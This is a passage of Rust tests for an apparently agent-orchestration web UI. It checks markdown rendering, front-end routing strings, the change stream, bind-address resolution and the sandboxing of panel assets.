13087 let proposal = |approach: &str| {
13088 serde_json::json!({
13089 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
13090 })
13091 };
13092 state.advice = Some(
13093 serde_json::from_value(serde_json::json!({
13094 "records": [
13095 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
13096 "proposal": proposal("do **this**")},
13097 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
13098 ],
13099 "synthesis": "- one\n- **two**\n\n`code`",
13100 }))
13101 .unwrap(),
13102 );
13103 state.candidates = serde_json::from_value(serde_json::json!([
13104 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
13105 "summary": "did **it**"},
13106 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
13107 ]))
13108 .unwrap();
13109 state.reviews = serde_json::from_value(serde_json::json!([{
13112 "round": 1, "head": "h",
13113 "reviews": [{
13114 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
13115 "findings": [
13116 {"severity": "nit", "title": "t1", "detail": "plain nit"},
13117 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
13118 ],
13119 }],
13120 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
13121 "fix": {"agent": "a", "notes": "fixed **it**",
13122 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
13123 }, {"round": 2, "head": "h2", "reviews": []}]))
13124 .unwrap();
13125
13126 let v = serde_json::to_value(RunDetailView::of(
13127 state,
13128 crate::run::Liveness::Unknown,
13129 None,
13130 None,
13131 None,
13132 ))
13133 .unwrap();
13134
13135 let strong = |p: &str| {
13136 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
13137 assert!(n.to_string().contains("strong"), "{p}: {n}");
13138 };
13139 strong("/advice_md/synthesis");
13140 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
13141 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
13142 strong("/advice_md/approaches/0");
13143 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
13144 strong("/candidate_summaries_md/0");
13145 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
13146 strong("/reviews_md/0/reviewers/0/summary");
13147 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
13148 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
13149 assert!(f[1].to_string().contains("strong"));
13150 strong("/reviews_md/0/reconsideration/0");
13151 strong("/reviews_md/0/fix/notes");
13152 strong("/reviews_md/0/fix/rejected/0");
13153 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
13154 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
13155 assert_eq!(v["candidates"][0]["summary"], "did **it**");
13157 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
13158 }
13159
13160 #[test]
13161 fn a_run_without_advice_has_no_advice_md() {
13162 let state = RunState::new(
13163 std::path::PathBuf::from("/repo"),
13164 "main".to_owned(),
13165 "abc".to_owned(),
13166 "x".to_owned(),
13167 crate::config::Config::default(),
13168 );
13169 let p = run_prose_md(&state);
13170 assert!(p.advice_md.is_none());
13171 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
13172 }
13173
13174 #[test]
13175 fn a_question_view_carries_markdown_for_each_thread_turn() {
13176 let home = TempDir::new().unwrap();
13177 let store = ask::Questions::at(home.path().join("questions"));
13178 let mut q = Question::new(
13179 "run".to_owned(),
13180 "implement".to_owned(),
13181 "impl-A".to_owned(),
13182 "which?".to_owned(),
13183 String::new(),
13184 Vec::new(),
13185 );
13186 q.say("plain words").unwrap();
13187 q.reply("use **this**", Vec::new()).unwrap();
13188 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
13189 let bodies = &v["thread_bodies_md"];
13190 assert_eq!(bodies.as_array().unwrap().len(), 2);
13191 assert!(!bodies[0].to_string().contains("strong"));
13192 assert!(bodies[1].to_string().contains("strong"));
13193 }
13194
13195 #[test]
13196 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
13197 let home = TempDir::new().unwrap();
13198 let store = ask::Questions::at(home.path().join("questions"));
13199 let mut q = Question::new(
13200 "run".to_owned(),
13201 "conduct".to_owned(),
13202 "conduct".to_owned(),
13203 "which?".to_owned(),
13204 String::new(),
13205 Vec::new(),
13206 );
13207 q.say("plain words").unwrap();
13208 q.thread.push(ask::Turn {
13209 who: ask::Who::Agent,
13210 body: "Settled as `merge`".to_owned(),
13211 at: jiff::Timestamp::now(),
13212 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
13213 });
13214 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
13215 let notes = &v["thread_notes_md"];
13216 assert_eq!(notes.as_array().unwrap().len(), 2);
13217 assert!(notes[0].is_null());
13218 let text = notes[1].to_string();
13219 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
13220 assert!(APP_JS.contains("ask-turn-note"));
13221 }
13222
13223 #[test]
13224 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
13225 assert!(APP_JS.contains("function landView(run, raw) {"));
13229 assert!(
13230 APP_JS.contains(
13231 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
13232 )
13233 );
13234 assert!(APP_JS.contains("const pr = landView(run, raw);"));
13235 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
13236 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
13237 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
13238 }
13239
13240 #[test]
13241 fn live_runs_are_never_hidden_or_folded_as_superseded() {
13242 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
13243 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
13244 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
13245 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
13246 }
13247
13248 #[test]
13249 fn review_rounds_label_a_distinct_verified_head() {
13250 assert!(APP_JS.contains("round.verified_head"));
13251 assert!(APP_JS.contains("verified HEAD"));
13252 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
13253 }
13254
13255 #[test]
13256 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
13257 assert!(APP_JS.contains("blocked: { glyph:"));
13261 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
13262
13263 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
13267 assert!(
13268 APP_JS.contains(
13269 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
13270 ),
13271 "the note line must name what a blocked task is waiting on, not just that it is blocked"
13272 );
13273 assert!(APP_JS.contains("if (status === \"blocked\") {"));
13277
13278 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
13282 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
13283 assert!(
13284 APP_JS.contains("location.hash = \"#/questions\";"),
13285 "a question node must jump to the Questions screen, not pretend to be a task"
13286 );
13287
13288 assert!(APP_JS.contains("Resolved questions"));
13291 assert!(APP_JS.contains("r.answersList.append("));
13292 assert!(APP_CSS.contains(".task-answers"));
13293 {
13294 let start = APP_JS
13295 .find("function updateTalkTaskRow")
13296 .expect("updateTalkTaskRow");
13297 let body = &APP_JS[start..];
13298 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
13299 assert!(
13300 body.contains(
13301 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
13302 ),
13303 "a chat-filed task row must link to the task page"
13304 );
13305 assert!(
13306 !body.contains("#/runs/") && !body.contains("#/queue/"),
13307 "the row must not branch to a run or the queue card"
13308 );
13309 assert!(APP_CSS.contains(".talk-task-link"));
13310 }
13311 }
13312
13313 #[test]
13314 fn a_task_notification_links_to_the_task_page() {
13315 let start = APP_JS
13317 .find("function noticeLink(")
13318 .expect("noticeLink exists");
13319 let body = &APP_JS[start..];
13320 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
13321 assert!(
13322 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
13323 "a task notice's link must target the task page"
13324 );
13325 assert!(
13326 !body.contains("#/queue/"),
13327 "regression: the task link must not go back to the Backlog route"
13328 );
13329 assert!(
13330 APP_JS.contains(
13331 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
13332 ),
13333 "`#/tasks/<id>` must parse into the task route"
13334 );
13335
13336 assert!(
13338 APP_JS.contains(
13339 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
13340 ),
13341 "`#/queue/<id>` must parse into a route carrying that id"
13342 );
13343
13344 assert!(APP_JS.contains("state.queueFocus = route.id;"));
13348 assert!(APP_JS.contains("function consumeQueueFocus()"));
13349 assert!(APP_JS.contains("jumpToTask(id)"));
13350 }
13351
13352 #[test]
13355 fn chat_rows_put_the_title_alone_on_the_first_line() {
13356 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
13357 assert!(APP_CSS.contains(
13358 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
13359 ));
13360 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
13361 assert!(APP_JS.contains("class: \"badge talk-unread\""));
13362 }
13363
13364 #[test]
13365 fn run_rows_put_the_title_alone_on_the_first_line() {
13366 assert!(
13367 APP_CSS.contains(
13368 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
13369 )
13370 );
13371 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
13372 assert!(APP_JS.contains("class: \"card run-card\""));
13373 assert!(APP_JS.contains("class: \"repo run-id\""));
13374 }
13375
13376 #[test]
13380 fn wide_screens_show_list_and_preview_side_by_side() {
13381 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
13383 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
13384 assert!(APP_CSS.contains("main[data-split]"));
13385 assert!(APP_CSS.contains("body[data-split]"));
13386
13387 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
13389 assert!(
13390 APP_JS.contains(
13391 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
13392 )
13393 );
13394 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
13395 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
13396 assert!(INDEX_HTML.contains("id=\"split-empty\""));
13397
13398 assert!(APP_JS.contains("function markSelected() {"));
13400 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
13401 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
13402 assert!(
13404 APP_CSS.contains(
13405 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
13406 )
13407 );
13408
13409 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
13411 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
13412 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
13413 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
13414
13415 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
13419 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
13420 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
13421 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
13422
13423 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
13425 }
13426
13427 #[test]
13428 fn panel_sandbox_carries_exactly_popups() {
13429 let needle = "sandbox: \"";
13430 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
13431 assert_eq!(
13432 matches.len(),
13433 1,
13434 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
13435 );
13436 let start = matches[0].0 + needle.len();
13437 let end = APP_JS[start..]
13438 .find('"')
13439 .expect("sandbox attribute value must be terminated by a closing quote");
13440 let val = &APP_JS[start..start + end];
13441 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
13442 let expected: std::collections::BTreeSet<&str> =
13443 ["allow-popups", "allow-popups-to-escape-sandbox"]
13444 .into_iter()
13445 .collect();
13446 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
13447 assert!(
13448 !tokens.contains("allow-scripts"),
13449 "allow-scripts must never be present in sandbox"
13450 );
13451 assert!(
13452 !tokens.contains("allow-same-origin"),
13453 "allow-same-origin must never be present in sandbox"
13454 );
13455 }
13456
13457 #[test]
13458 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
13459 assert!(
13468 APP_JS.contains(
13469 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
13470 ),
13471 "the search-clearing branch must run before state.queueFocus is cleared, or the \
13472 recursive renderQueue() call has nothing left to jump to"
13473 );
13474 assert!(
13475 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
13476 "state.queueFocus must be cleared only once the jump has landed, so a card that \
13477 arrives later still gets it"
13478 );
13479 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
13480 assert!(APP_JS.contains("is not in the current Backlog."));
13481 assert!(APP_JS.contains("li.card[data-task-id=\""));
13482 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
13483 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
13484 assert!(APP_CSS.contains(".card-permalink"));
13485 assert!(APP_CSS.contains(".queue-focus-status"));
13486 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
13487 }
13488
13489 #[test]
13490 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
13491 assert!(
13499 APP_JS.contains(
13500 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
13501 ),
13502 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
13503 );
13504 }
13505
13506 #[test]
13507 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
13508 assert!(
13509 APP_JS.contains("round.verified_head !== round.head"),
13510 "a round that verified an earlier commit must be visibly distinct from one that \
13511 verified the head reviewers are looking at now"
13512 );
13513 assert!(
13514 APP_JS.contains("round.verified_at"),
13515 "when a check ran must be on the wire, not just which commit"
13516 );
13517 assert!(
13518 APP_JS.contains("resource_blocked"),
13519 "a command magi never got to run (shared build cache contention) must not render \
13520 the same as a command that ran and failed"
13521 );
13522 }
13523
13524 #[test]
13525 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
13526 assert!(
13534 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
13535 "every KPI tile built through statusTile() must route its click through \
13536 openRunsFiltered, the single place that sets the Runs filter"
13537 );
13538 for (label, status) in [
13539 ("Merged", "merged"),
13540 ("Ready", "ready"),
13541 ("Blocked", "blocked"),
13542 ("Stalled", "stalled"),
13543 ] {
13544 let call = format!("statusTile(\"{label}\", t.{status}, ");
13545 assert!(
13546 APP_JS.contains(&call),
13547 "expected the {label} KPI tile built via {call}..."
13548 );
13549 assert!(
13550 APP_JS.contains(&format!("status === \"{status}\"")),
13551 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
13552 compare a run against, not one invented only for the stats tile"
13553 );
13554 }
13555 assert!(
13556 APP_JS.contains("function openRunsFiltered(status)"),
13557 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
13558 );
13559 assert!(
13560 APP_JS.contains(
13561 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
13562 ),
13563 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
13564 );
13565 assert!(
13573 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
13574 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
13575 hashchange event that may never fire"
13576 );
13577 }
13578
13579 #[test]
13580 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
13581 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
13587 assert!(
13588 APP_JS.contains(
13589 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
13590 ),
13591 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
13592 guard for an incompatible tree section"
13593 );
13594 }
13595
13596 #[test]
13597 fn every_stats_queue_tile_names_a_real_queue_section() {
13598 assert!(
13604 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
13605 "every queue tile built through sectionTile() must route its click through \
13606 openQueueSectionFocus"
13607 );
13608 for key in ["upnext", "running", "done", "held", "blocked"] {
13609 assert!(
13610 APP_JS.contains(&format!("{{ key: \"{key}\",")),
13611 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
13612 );
13613 }
13614 for line in [
13618 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
13619 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
13620 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
13621 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
13622 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
13623 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
13624 ] {
13625 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
13626 }
13627 }
13628
13629 #[test]
13630 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
13631 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
13638 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
13639 assert!(APP_JS.contains("function revealQueueSection(details)"));
13640 assert!(
13641 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
13642 "renderQueue() must consume both focus channels on every pass"
13643 );
13644 assert!(
13645 APP_JS.contains(
13646 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
13647 ),
13648 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
13649 the recursive renderQueue() call has nothing left to reveal"
13650 );
13651 assert!(
13652 APP_JS.contains(
13653 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
13654 ),
13655 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
13656 );
13657 assert!(
13665 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
13666 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
13667 hashchange event that may never fire"
13668 );
13669 }
13670
13671 #[tokio::test]
13672 async fn the_change_stream_announces_the_current_revisions_on_connect() {
13673 let f = Fixture::start().await;
13674
13675 let mut socket = tokio::net::TcpStream::connect(f.addr)
13676 .await
13677 .expect("connect");
13678 socket
13679 .write_all(
13680 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
13681 )
13682 .await
13683 .expect("write request");
13684
13685 let mut seen = String::new();
13688 let mut buf = [0u8; 1024];
13689 while !seen.contains("event: change") {
13690 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
13691 .await
13692 .expect("the stream must speak within five seconds")
13693 .expect("read");
13694 assert!(read > 0, "the server closed the change stream: {seen}");
13695 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
13696 }
13697
13698 assert!(
13699 seen.to_lowercase()
13700 .contains("content-type: text/event-stream"),
13701 "the browser only reconnects automatically for a real SSE stream: {seen}"
13702 );
13703 let data = seen
13704 .lines()
13705 .find_map(|l| l.strip_prefix("data:"))
13706 .expect("a data line");
13707 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
13708 assert!(
13709 payload["queue_rev"].is_u64()
13710 && payload["runs_rev"].is_u64()
13711 && payload["questions_rev"].is_u64()
13712 && payload["talks_rev"].is_u64()
13713 && payload["notifications_rev"].is_u64()
13714 && payload["loop_rev"].is_u64(),
13715 "the client needs one revision per store to know what to refetch, \
13716 and `talks_rev` is the only notification a standing talk gets - a \
13717 phone whose radio slept through a turn learns about it here, as \
13718 does one whose operator started the loop from another device: \
13719 {payload}"
13720 );
13721
13722 let health = f.get("/api/health").await.json();
13729 for key in [
13730 "queue_rev",
13731 "runs_rev",
13732 "questions_rev",
13733 "talks_rev",
13734 "notifications_rev",
13735 "loop_rev",
13736 ] {
13737 assert!(
13738 health[key].is_u64(),
13739 "health is the change stream's fallback and is missing `{key}`: {health}"
13740 );
13741 }
13742 }
13743
13744 #[tokio::test]
13745 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
13746 let f = Fixture::start().await;
13747 let before = f.get("/api/health").await.json()["talks_rev"]
13748 .as_u64()
13749 .expect("talks_rev");
13750
13751 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
13752 std::thread::sleep(Duration::from_millis(10));
13753 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
13754 on_disk.turns.push(crate::talk::Turn {
13755 breaks: Some(Vec::new()),
13756 who: crate::talk::Who::Operator,
13757 body: "a new turn".to_owned(),
13758 at: Timestamp::now(),
13759 attachments: Vec::new(),
13760 usage: None,
13761 });
13762 f.talks().put(&mut on_disk).expect("record a turn");
13763
13764 let after = f.get("/api/health").await.json()["talks_rev"]
13765 .as_u64()
13766 .expect("talks_rev");
13767 assert_ne!(
13768 before, after,
13769 "a phone must be able to notice a talk's reply without polling every store"
13770 );
13771 }
13772
13773 #[test]
13774 fn bind_reads_back_from_the_spelling_the_cli_prints() {
13775 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
13779 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
13780 }
13781 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
13782 assert!("everywhere".parse::<Bind>().is_err());
13783 }
13784
13785 #[test]
13786 fn an_explicit_bind_address_is_taken_verbatim() {
13787 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
13788
13789 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
13790
13791 assert_eq!(addr, asked);
13792 assert!(
13793 warning.is_none(),
13794 "an operator who named an address gets no lecture"
13795 );
13796 }
13797
13798 #[test]
13799 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
13800 let (addr, warning) = resolve_bind(&Bind::Auto);
13801
13802 match addr {
13809 IpAddr::V4(ip) if is_tailnet(&ip) => {
13810 assert!(warning.is_none(), "a tailnet address needs no warning");
13811 }
13812 other => {
13813 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
13814 let warning = warning.expect("a fallback has to explain itself");
13815 assert!(
13816 warning.contains("127.0.0.1") && warning.contains("local-only"),
13817 "the warning says what happened and what it costs: {warning}"
13818 );
13819 }
13820 }
13821 }
13822
13823 #[test]
13824 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13825 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13829 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13830 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13831 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13832 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13833 }
13834
13835 #[test]
13836 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13837 let ids = vec![
13838 "20260902-140501-aaaa".to_owned(),
13839 "20260902-140502-aabb".to_owned(),
13840 ];
13841
13842 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13843 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13844 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13845
13846 assert_eq!(missing.status, StatusCode::NOT_FOUND);
13847 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13848 assert_eq!(short, "20260902-140502-aabb");
13849 }
13850 #[tokio::test]
13851 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13852 let fx = Fixture::start().await;
13858 let id = panel(
13859 &fx,
13860 "<img src=\"shot.png\">",
13861 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13862 );
13863
13864 let doc = fx
13866 .get(&format!("/api/questions/{id}/panel/index.html"))
13867 .await;
13868 assert_eq!(doc.status, 200, "{}", doc.body);
13869 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13870
13871 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13872 assert_eq!(sibling.status, 200, "{}", sibling.body);
13873 assert_eq!(sibling.header("content-type"), Some("image/png"));
13874 assert_eq!(
13875 sibling.header("content-security-policy"),
13876 Some(PANEL_CSP),
13877 "the sibling route must carry the same policy as the asset route"
13878 );
13879
13880 assert_eq!(
13883 fx.head(&format!("/api/questions/{id}/panel")).await.status,
13884 200
13885 );
13886 }
13887
13888 #[test]
13889 fn delta_stamps_cover_add_update_remove_and_noop() {
13890 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13891 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13892 let delta = diff_stamps(&before, &after, 42);
13893 assert_eq!(delta.base, 42);
13894 assert_eq!(delta.changed, ["b", "c"]);
13895 assert_eq!(delta.removed, ["a"]);
13896 let same = diff_stamps(&after, &after, 43);
13897 assert!(same.changed.is_empty() && same.removed.is_empty());
13898 assert_ne!(stamps_revision(&before), stamps_revision(&after));
13899 let nanos: Stamps = [("b".into(), (2, 20))].into();
13900 let same_ms: Stamps = [("b".into(), (3, 20))].into();
13901 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13902 assert_eq!(stamps_revision(&Stamps::new()), 0);
13903 }
13904
13905 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13906 std::fs::create_dir_all(home.join("runs")).unwrap();
13907 Arc::new(Ui::new(
13908 Queue::at(home.join("queue")),
13909 Questions::at(home.join("questions")),
13910 Talks::at(home.join("talks")),
13911 home.join("runs"),
13912 home.to_owned(),
13913 PathBuf::from("/repo/magi"),
13914 ))
13915 }
13916
13917 #[tokio::test]
13918 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13919 let home = TempDir::new().unwrap();
13920 let ui = delta_test_ui(home.path());
13921 let mut task = Task::new(
13922 "stream task".into(),
13923 "text".into(),
13924 PathBuf::from("/repo"),
13925 Source::Human,
13926 );
13927 ui.queue.put(&mut task).unwrap();
13928 let response = events(State(ui.clone())).await.into_response();
13929 let mut stream = response.into_body().into_data_stream();
13930 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13931 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13932 .await
13933 .unwrap()
13934 .unwrap()
13935 .unwrap();
13936 let text = String::from_utf8(chunk.to_vec()).unwrap();
13937 let data = text
13938 .lines()
13939 .find_map(|line| {
13940 line.strip_prefix("data: ")
13941 .or_else(|| line.strip_prefix("data:"))
13942 })
13943 .unwrap();
13944 serde_json::from_str(data).unwrap()
13945 }
13946 let initial = change(&mut stream).await;
13947 assert!(initial.get("queue_delta").is_none());
13948 task.instruction.push_str(" changed");
13949 ui.queue.put(&mut task).unwrap();
13950 let updated = change(&mut stream).await;
13951 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
13952 assert_eq!(
13953 updated["queue_delta"]["changed"],
13954 serde_json::json!([task.id])
13955 );
13956 assert_eq!(
13957 updated["queue_rev"].as_u64(),
13958 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
13959 );
13960 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
13961 let removed = change(&mut stream).await;
13962 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
13963 assert_eq!(
13964 removed["queue_delta"]["removed"],
13965 serde_json::json!([task.id])
13966 );
13967 }
13968
13969 #[tokio::test]
13970 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
13971 let home = TempDir::new().unwrap();
13972 let ui = delta_test_ui(home.path());
13973 let queue = ui.queue.clone();
13974 let query = |ids: Option<&str>| {
13975 Query(ListQuery {
13976 limit: Some(2),
13977 ids: ids.map(str::to_owned),
13978 })
13979 };
13980 let mut root = Task::new(
13981 "root".into(),
13982 "instruction".into(),
13983 PathBuf::from("/repo"),
13984 Source::Human,
13985 );
13986 queue.put(&mut root).unwrap();
13987 let mut blocked = Task::new(
13988 "blocked".into(),
13989 "instruction".into(),
13990 PathBuf::from("/repo"),
13991 Source::Human,
13992 );
13993 blocked.block(vec![root.id.clone()], None);
13994 queue.put(&mut blocked).unwrap();
13995 let whole =
13996 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
13997 .unwrap();
13998 let subset = serde_json::to_value(
13999 queue_list(State(ui.clone()), query(Some(&root.id)))
14000 .await
14001 .unwrap()
14002 .0,
14003 )
14004 .unwrap();
14005 assert_eq!(whole, subset, "requested root plus its blocked dependent");
14006 let blockers = serde_json::to_value(
14007 queue_list(State(ui.clone()), query(Some("")))
14008 .await
14009 .unwrap()
14010 .0,
14011 )
14012 .unwrap();
14013 assert_eq!(blockers.as_array().unwrap().len(), 1);
14014 assert_eq!(blockers[0]["id"], blocked.id);
14015 assert_eq!(
14016 blockers[0]["waits_on"],
14017 whole
14018 .as_array()
14019 .unwrap()
14020 .iter()
